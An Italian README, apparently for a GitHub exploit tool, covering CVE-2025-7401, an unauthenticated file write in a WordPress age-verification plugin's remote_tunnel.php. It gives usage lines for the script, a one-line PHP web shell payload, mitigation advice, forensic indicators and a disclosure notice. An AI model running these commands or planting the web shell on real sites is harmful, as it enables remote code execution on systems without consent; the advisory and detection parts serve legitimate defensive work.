CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lettura e Scrittura Arbitraria di File Non Autenticata

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — Lettura e Scrittura Arbitraria di File Non Autenticata

📝 Descrizione

Il plugin "Premium Age Verification / Restriction for WordPress" contiene un endpoint di supporto remoto insufficientemente protetto in remote_tunnel.php. Nelle versioni interessate fino alla 3.0.2 inclusa, questo endpoint può essere abusato per la lettura e la scrittura arbitraria di file senza autenticazione. Uno sfruttamento riuscito può esporre informazioni sensibili o consentire l'esecuzione remota di codice.

• CVE: CVE-2025-7401
• CVSS: 9.8 (Critico)

⚙️ Panoramica dello Script

• Nome script: CVE-2025-7401.py
• Scopo: strumento di test per professionisti della sicurezza autorizzati, per validare il comportamento di scrittura di file nell'endpoint vulnerabile del plugin. Lo script normalizza il target, codifica uno snippet PHP fornito dall'utente, invia una POST all'endpoint vulnerabile per tentare di scrivere un file e, opzionalmente, verifica il percorso del file accessibile via web.

▶️ Esempi di Utilizzo Rapido

# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 Opzioni della Riga di Comando

📋 Comportamento Dettagliato dello Script (Passo per Passo)

📌 Output Previsti e Loro Significato

🛡️ Mitigazione e Raccomandazioni

• Aggiornare immediatamente il plugin alla versione corretta fornita dal vendor.
• Limitare l'accesso alle funzioni di supporto remoto con autenticazione e adeguati controlli di autorizzazione.
• Sanificare e validare lato server tutti i percorsi dei file e i contenuti forniti dall'utente.
• Applicare permessi rigorosi sul file system che impediscano all'utente web di creare file eseguibili nella webroot.
• Implementare regole WAF per rilevare e bloccare le richieste sospette a remote_tunnel.php.

🔎 Rilevamento e Analisi Forense

• Esaminare i log del server web per richieste POST a /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php con i parametri: action=save_file, file, file_content.
• Cercare nella directory del plugin file inattesi come remote_init.php.
• Cercare payload codificati in base64 nei corpi delle richieste POST.
• Correlare i timestamp delle modifiche ai file con le richieste sospette.

🤝 Divulgazione Responsabile

Se scopri questa vulnerabilità su infrastrutture di terze parti:

• NON sfruttare o alterare i sistemi di produzione.
• Contatta privatamente e in modo sicuro il proprietario del sito o il vendor del plugin.
• Fornisci al vendor passaggi riproducibili e concedi un tempo ragionevole per la correzione prima di qualsiasi divulgazione pubblica.

⚖️ Avviso Legale e di Sicurezza

L'uso non autorizzato degli strumenti di test delle vulnerabilità è illegale in molte giurisdizioni. Questo repository e questo script sono destinati esclusivamente alla ricerca difensiva, ai test autorizzati e alla divulgazione coordinata delle vulnerabilità. Ottieni sempre un'autorizzazione scritta esplicita prima di testare sistemi che non possiedi.

❗ Dichiarazione di Esclusione di Responsabilità

L'autore e i collaboratori non si assumono alcuna responsabilità per l'uso improprio delle informazioni o degli strumenti. Utilizza questo materiale solo entro i limiti legali ed etici.

Di: Nxploited ( Khaled Alenazi )